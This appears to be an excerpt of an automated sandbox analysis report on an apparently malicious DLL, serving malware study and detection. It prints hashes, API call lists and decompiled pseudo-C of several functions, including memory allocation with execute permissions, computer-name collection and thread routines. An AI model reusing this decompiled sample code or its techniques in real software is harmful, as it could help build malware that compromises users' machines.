                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: ProtectVirtual$ErrorLast
                  • String ID:
                  • API String ID: 1469625949-0
                  • Opcode ID: a3b261bdae218baf310b4ad9e2c0615dc90c3774093aefa98a4ffc48a6633bed
                  • Instruction ID: b48285a1a5ac2c5e19cea19e1ac5d66ae3ac3978d8fc37a23070bc1b370abb3c
                  • Opcode Fuzzy Hash: a3b261bdae218baf310b4ad9e2c0615dc90c3774093aefa98a4ffc48a6633bed
                  • Instruction Fuzzy Hash: 9D212B71C0021AEFCB14DB99C8C1AAAF7F4FF04345F0458AAE21AA7810E734A669CF54
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C5790B Relevance: 3.1, APIs: 2, Instructions: 112COMMON
                  Download Yara Rule
                  C-Code - Quality: 75%
                  			E02C5790B(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E02C54358(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x2c5a348; // 0xe7d5a8
						_t20 = _t68 + 0x2c5b270; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E02C54984(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}





















                  0x02c57911
                  0x02c57914
                  0x02c57924
                  0x02c5792d
                  0x02c57931
                  0x02c579ff
                  0x02c57a05
                  0x02c57a05
                  0x02c5794b
                  0x02c57950
                  0x02c57954
                  0x02c5795a
                  0x02c5795f
                  0x02c57966
                  0x02c57975
                  0x02c57975
                  0x02c57979
                  0x02c5797b
                  0x02c57987
                  0x02c57992
                  0x02c5799d
                  0x02c579a1
                  0x02c579ab
                  0x02c579af
                  0x02c579b1
                  0x02c579b6
                  0x02c579bd
                  0x02c579cd
                  0x02c579cd
                  0x02c579b6
                  0x02c579af
                  0x02c579cf
                  0x02c579d4
                  0x02c579d9
                  0x02c579d9
                  0x02c579dc
                  0x02c579e5
                  0x02c579ea
                  0x02c579ea
                  0x02c579ef
                  0x02c579f4
                  0x02c579f4
                  0x02c579ef
                  0x02c57979
                  0x02c579f6
                  0x02c579fc
                  0x00000000

                  APIs
                    • Part of subcall function 02C54358: SysAllocString.OLEAUT32(80000002), ref: 02C543B5
                    • Part of subcall function 02C54358: SysFreeString.OLEAUT32(00000000), ref: 02C5441B
                  • SysFreeString.OLEAUT32(?), ref: 02C579EA
                  • SysFreeString.OLEAUT32(02C54D42), ref: 02C579F4
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: String$Free$Alloc
                  • String ID:
                  • API String ID: 986138563-0
                  • Opcode ID: 5dc720d62000fb12cd8c32bd92ee433dbf4352b24b4f69fe41df1ea2ea2c3f89
                  • Instruction ID: 5f359b87892cec943ad26feb76ddad08f68b86a34327ed2fd5ec589b4262929c
                  • Opcode Fuzzy Hash: 5dc720d62000fb12cd8c32bd92ee433dbf4352b24b4f69fe41df1ea2ea2c3f89
                  • Instruction Fuzzy Hash: 7D311572500268AFCB21DF68C888CABBB7AFBC97447144658FC059B210E732DDD1DBA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB41EF0 Relevance: 3.1, APIs: 2, Instructions: 84COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                    • Part of subcall function 6CB435E0: _Max_value.LIBCPMTD ref: 6CB4360C
                    • Part of subcall function 6CB435E0: _Min_value.LIBCPMTD ref: 6CB43632
                  • allocator.LIBCONCRTD ref: 6CB41F38
                  • allocator.LIBCONCRTD ref: 6CB41FB7
                    • Part of subcall function 6CB431D0: std::_Xinvalid_argument.LIBCPMT ref: 6CB431D8
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: allocator$Max_valueMin_valueXinvalid_argumentstd::_
                  • String ID:
                  • API String ID: 3868691235-0
                  • Opcode ID: 46a9334e3a09943577a94e148fbd7346a37817601c02f39abebb97921426fb5e
                  • Instruction ID: edb97c89904e938b96c8a12f763052946356d942e1252719b3f8c2f3f985ecbc
                  • Opcode Fuzzy Hash: 46a9334e3a09943577a94e148fbd7346a37817601c02f39abebb97921426fb5e
                  • Instruction Fuzzy Hash: CC310AB5E04148EBCF08DF98D9919EEB7B5BF88204F148168E805A7755DB30EF14EB91
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5AB76 Relevance: 3.1, APIs: 2, Instructions: 76COMMON
                  Download Yara Rule
                  APIs
                  • __RTC_Initialize.LIBCMT ref: 6CB5ABC3
                    • Part of subcall function 6CB5B2B0: InitializeSListHead.KERNEL32(6CB82050,6CB5ABCD,6CB72530,00000010,6CB5AB5E,?,?,?,6CB5AD86,?,00000001,?,?,00000001,?,6CB72578), ref: 6CB5B2B5
                  • ___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6CB5AC2D
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
                  • String ID:
                  • API String ID: 3231365870-0
                  • Opcode ID: 5ef5dbdf5f9f15ecfa5f09451632375f3d8033a92703790742b89d946ddd2168
                  • Instruction ID: 044f4170c7f87189c6317ead2c68e9716041594de8f5a8ec46aefb59a1ce5a8e
                  • Opcode Fuzzy Hash: 5ef5dbdf5f9f15ecfa5f09451632375f3d8033a92703790742b89d946ddd2168
                  • Instruction Fuzzy Hash: 1221D1316452D59FDB00AFA598043EC3B649B03B2EFA04419D45037FC0CB320169DEBB
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB44380 Relevance: 3.1, APIs: 2, Instructions: 70COMMON
                  Download Yara Rule
                  APIs
                  • GetSystemDirectoryA.KERNEL32 ref: 6CB443A6
                  • CreateDirectoryA.KERNELBASE(6CB8156C,00000000,?,?,?,?,?,?,6CB44350,6CB8156C,6CB68B6D,000000FF,?), ref: 6CB443B2
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: Directory$CreateSystem
                  • String ID:
                  • API String ID: 2422297707-0
                  • Opcode ID: 1924ef7c6ebde9c8d6d8f2c85bb4fe3c2d97883c892211b2a70eba17d7bceeab
                  • Instruction ID: 9f545eefe96d9144601d0df04336e018e6dc40b75e6fd231f45069b9fe475647
                  • Opcode Fuzzy Hash: 1924ef7c6ebde9c8d6d8f2c85bb4fe3c2d97883c892211b2a70eba17d7bceeab
                  • Instruction Fuzzy Hash: D1312374E08289AFCF00CFA9C891BAEBBB1FF49308F148599E954A7344C734AA54CF51
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB63462 Relevance: 3.1, APIs: 2, Instructions: 65COMMON
                  Download Yara Rule
                  APIs
                  • GetStdHandle.KERNEL32(000000F6), ref: 6CB634AE
                  • GetFileType.KERNELBASE(00000000), ref: 6CB634C0
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: FileHandleType
                  • String ID:
                  • API String ID: 3000768030-0
                  • Opcode ID: 7114d9c2abf60e450906d3632e2be3a02baeead6e91fcc999600b883cc8e9c4d
                  • Instruction ID: 352fbe013d21ede6f1f9ac582e4730f98f7e02950e93fdedb90c5f8a43a2f0cc
                  • Opcode Fuzzy Hash: 7114d9c2abf60e450906d3632e2be3a02baeead6e91fcc999600b883cc8e9c4d
                  • Instruction Fuzzy Hash: F3117FB16097D14ADB218E3FC888622FAA4EB57338B340719D1B687DE1C335D986CA42
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02BF20A4 Relevance: 3.1, APIs: 2, Instructions: 60stringthreadCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02BF20A4() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				void* _t24;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0x2bf41c4;
				if( *0x2bf41ac > 5) {
					_t16 = _t15 + 0x2bf5150;
				} else {
					_t16 = _t15 + 0x2bf527e;
				}
				E02BF1E4A(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				_t24 = E02BF13A7( &_v32,  &_v16,  *0x2bf41c0 ^ 0xdd0210cf); // executed
				if(_t24 == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x2bf41b8);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E02BF1598(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t40 =  *0x2bf41b8;
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x2bf41b8 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E02BF2164(_t45, _t40, _t32 + 4);
						}
					}
					_t25 = E02BF166A(_v28); // executed
				}
				ExitThread(_t25);
			}
















                  0x02bf20aa
                  0x02bf20bb
                  0x02bf20c5
                  0x02bf20bd
                  0x02bf20bd
                  0x02bf20bd
                  0x02bf20cc
                  0x02bf20d5
                  0x02bf20da
                  0x02bf20f1
                  0x02bf20f8
                  0x02bf2155
                  0x02bf20fa
                  0x02bf2100
                  0x02bf2106
                  0x02bf2114
                  0x02bf2118
                  0x02bf211f
                  0x02bf2121
                  0x02bf2127
                  0x02bf212b
                  0x02bf2133
                  0x02bf2144
                  0x02bf2135
                  0x02bf213b
                  0x02bf213b
                  0x02bf2133
                  0x02bf214c
                  0x02bf214c
                  0x02bf2157

                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.777006909.0000000002BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: true
                  • Associated: 00000000.00000002.777006909.0000000002BF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2bf0000_loaddll32.jbxd
                  Similarity
                  • API ID: ExitThreadlstrlen
                  • String ID:
                  • API String ID: 2636182767-0
                  • Opcode ID: 0b8d9dac6bd0fd41c0b38c375f2497456c861c846f725f0152d8aa91b0b2e8f0
                  • Instruction ID: c5eb260d7fd5cd630ccdeefd8bb55eb307a53e4fe00953bf55ea2cd66a847e3f
                  • Opcode Fuzzy Hash: 0b8d9dac6bd0fd41c0b38c375f2497456c861c846f725f0152d8aa91b0b2e8f0
                  • Instruction Fuzzy Hash: 9E110472904305ABEB91DB64DC48E9B7BEDAB48340F014D96BB05E7150E730E78CCB56
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C5472F Relevance: 3.0, APIs: 2, Instructions: 40COMMON
                  Download Yara Rule
                  C-Code - Quality: 37%
                  			E02C5472F(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E02C533DC(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E02C561DA(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}









                  0x02c54734
                  0x02c5473f
                  0x02c54741
                  0x02c54747
                  0x02c54749
                  0x02c5474e
                  0x02c54757
                  0x02c5475b
                  0x02c54764
                  0x02c54768
                  0x02c54777
                  0x02c5476a
                  0x02c5476b
                  0x02c54770
                  0x02c54770
                  0x02c54768
                  0x02c5475b
                  0x02c54780

                  APIs
                  • GetComputerNameExA.KERNELBASE(00000003,00000000,02C53DCD,00000000,00000000,?,7491C740,02C53DCD), ref: 02C54747
                    • Part of subcall function 02C533DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C562F6), ref: 02C533E8
                  • GetComputerNameExA.KERNELBASE(00000003,00000000,02C53DCD,02C53DCE,?,7491C740,02C53DCD), ref: 02C54764
                    • Part of subcall function 02C561DA: RtlFreeHeap.NTDLL(00000000,00000000,02C56383,00000000,?,00000000,00000000), ref: 02C561E6
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: ComputerHeapName$AllocateFree
                  • String ID:
                  • API String ID: 187446995-0
                  • Opcode ID: 858281aa85c4c49660521fa757d3e1061b3557c238e9c70877606a82fdd642ce
                  • Instruction ID: e869f64b1089eebf1ccad7fd3acfa54c8f57a80e7fa6dba0c097f7f11ca2d5d9
                  • Opcode Fuzzy Hash: 858281aa85c4c49660521fa757d3e1061b3557c238e9c70877606a82fdd642ce
                  • Instruction Fuzzy Hash: A6F0B436A00129FAEB21DAAACC04FAF76BDDBC5694F500055ED04D3141EB70DB42D774
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C55006 Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02C55006(signed int __edx, intOrPtr _a4) {
				void* _t3;
				void* _t5;
				void* _t7;
				void* _t8;
				void* _t9;
				signed int _t10;

				_t10 = __edx;
				_t3 = HeapCreate(0, 0x400000, 0); // executed
				 *0x2c5a2d8 = _t3;
				if(_t3 == 0) {
					_t8 = 8;
					return _t8;
				}
				 *0x2c5a1c8 = GetTickCount();
				_t5 = E02C554D8(_a4);
				if(_t5 == 0) {
					_t5 = E02C5213E(_t9, _a4); // executed
					if(_t5 == 0) {
						if(E02C56392(_t9) != 0) {
							 *0x2c5a300 = 1; // executed
						}
						_t7 = E02C52523(_t10); // executed
						return _t7;
					}
				}
				return _t5;
			}









                  0x02c55006
                  0x02c5500f
                  0x02c55015
                  0x02c5501c
                  0x02c55020
                  0x00000000
                  0x02c55020
                  0x02c5502d
                  0x02c55032
                  0x02c55039
                  0x02c5503f
                  0x02c55046
                  0x02c5504f
                  0x02c55051
                  0x02c55051
                  0x02c5505b
                  0x00000000
                  0x02c5505b
                  0x02c55046
                  0x02c55060

                  APIs
                  • HeapCreate.KERNELBASE(00000000,00400000,00000000,02C5107E,?), ref: 02C5500F
                  • GetTickCount.KERNEL32 ref: 02C55023
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: CountCreateHeapTick
                  • String ID:
                  • API String ID: 2177101570-0
                  • Opcode ID: e95230fc416c303fcff42903c2c5d419b96a94c0497918accbfb592c72a18a26
                  • Instruction ID: 68ce6dec327fdc350ee9e35c6e6ca9e4cf99bd0d8bb1bffa0b4a911ea5acffa6
                  • Opcode Fuzzy Hash: e95230fc416c303fcff42903c2c5d419b96a94c0497918accbfb592c72a18a26
                  • Instruction Fuzzy Hash: AFF06D30A80331EADB212B729C2571739956FC4784FA04A25ED06E50C0EB71E4E0AEEE
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB61657 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • RtlFreeHeap.NTDLL(00000000,00000000,?,6CB643FA,00000000,00000000,00000000,?,6CB6441F,00000000,00000007,00000000,?,6CB640F4,00000000,00000000), ref: 6CB6166D
                  • GetLastError.KERNEL32(00000000,?,6CB643FA,00000000,00000000,00000000,?,6CB6441F,00000000,00000007,00000000,?,6CB640F4,00000000,00000000), ref: 6CB61678
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: ErrorFreeHeapLast
                  • String ID:
                  • API String ID: 485612231-0
                  • Opcode ID: 8e32bc20be0a948358ecf298c5f8d35e675b8c87146cfe0a804f6ee646a38c61
                  • Instruction ID: 83186e99068fae1559d09f2975af215529cfee8c6697598d32bcfdcb7de1c568
                  • Opcode Fuzzy Hash: 8e32bc20be0a948358ecf298c5f8d35e675b8c87146cfe0a804f6ee646a38c61
                  • Instruction Fuzzy Hash: 8BE08C36201254ABCF012FA3DC08BAA3AADEB02359F191061F60997DA0CB34C884CB99
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB60F1D Relevance: 2.6, APIs: 2, Instructions: 67COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • GetLastError.KERNEL32(?,?,6CB613CE,6CB6119A,?,?,6CB5A7BD,00000000,?,6CB42A0C,00000000,?,6CB419F5,00000000), ref: 6CB60F21
                  • SetLastError.KERNEL32(00000000), ref: 6CB60FC3
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: ErrorLast
                  • String ID:
                  • API String ID: 1452528299-0
                  • Opcode ID: cd5528650d5104c8534296379ee611f10ad4ca7c210bf4864ede9e239e10239d
                  • Instruction ID: cf1985afb060055d6e9e78f1c2cf12cafdb8c930f08412dd04a316bc014d0ecd
                  • Opcode Fuzzy Hash: cd5528650d5104c8534296379ee611f10ad4ca7c210bf4864ede9e239e10239d
                  • Instruction Fuzzy Hash: FF11A53134B2D1AEAF401ABBEDC5E9F25ADDB033ACB180220F46596ED0EB51CC098665
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB41CC0 Relevance: 1.6, APIs: 1, Instructions: 146COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 6CB43640: _Min_value.LIBCPMTD ref: 6CB4366D
                  • allocator.LIBCONCRTD ref: 6CB41D62
                    • Part of subcall function 6CB431E0: std::_Xinvalid_argument.LIBCPMT ref: 6CB431E8
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: Min_valueXinvalid_argumentallocatorstd::_
                  • String ID:
                  • API String ID: 3360247935-0
                  • Opcode ID: 4187807d5bd19477377fd558fb54be9961eb69a230db18f50203149124b2931e
                  • Instruction ID: 7b496ca720dac33c46617123378b770cccbaf3ae1d1640ee0f5340e39b07811c
                  • Opcode Fuzzy Hash: 4187807d5bd19477377fd558fb54be9961eb69a230db18f50203149124b2931e
                  • Instruction Fuzzy Hash: 0851C1B5E04149DFCB08CF99D9919EEBBB6FF88304F148119E506A7794D730AA01CFA1
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB42F70 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: allocator
                  • String ID:
                  • API String ID: 3447690668-0
                  • Opcode ID: c45aa3ccd608b4af897b0f699bebed87e0cbd0dc5e443b1647784b8e8d416606
                  • Instruction ID: 4ab4619626536ce6e151d12b514d2cc5d5793152c4e0cbd23af127e316d7052b
                  • Opcode Fuzzy Hash: c45aa3ccd608b4af897b0f699bebed87e0cbd0dc5e443b1647784b8e8d416606
                  • Instruction Fuzzy Hash: 822159B4D0414A9BCB08CF98D550BBFBBB5FB44304F208158D405ABB85CB35EA05DBA2
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB442E0 Relevance: 1.6, APIs: 1, Instructions: 51COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 6CB44380: GetSystemDirectoryA.KERNEL32 ref: 6CB443A6
                    • Part of subcall function 6CB44380: CreateDirectoryA.KERNELBASE(6CB8156C,00000000,?,?,?,?,?,?,6CB44350,6CB8156C,6CB68B6D,000000FF,?), ref: 6CB443B2
                    • Part of subcall function 6CB43B50: GetCommandLineA.KERNEL32 ref: 6CB43B82
                    • Part of subcall function 6CB43B50: task.LIBCPMTD ref: 6CB43BA8
                    • Part of subcall function 6CB43B50: GetCommandLineA.KERNEL32(?,00000000), ref: 6CB43BAD
                    • Part of subcall function 6CB43B50: task.LIBCPMTD ref: 6CB43BD3
                    • Part of subcall function 6CB43B50: GetCommandLineA.KERNEL32(?,00000000), ref: 6CB43C0F
                    • Part of subcall function 6CB43B50: task.LIBCPMTD ref: 6CB43C3E
                    • Part of subcall function 6CB43B50: VirtualAlloc.KERNELBASE(00000000,00000040,00003000,00000040,?,00000000), ref: 6CB43C62
                    • Part of subcall function 6CB43B50: GetCommandLineA.KERNEL32 ref: 6CB43C6B
                    • Part of subcall function 6CB43B50: task.LIBCPMTD ref: 6CB43C9A
                  • task.LIBCPMTD ref: 6CB44366
                  Memory Dump Source
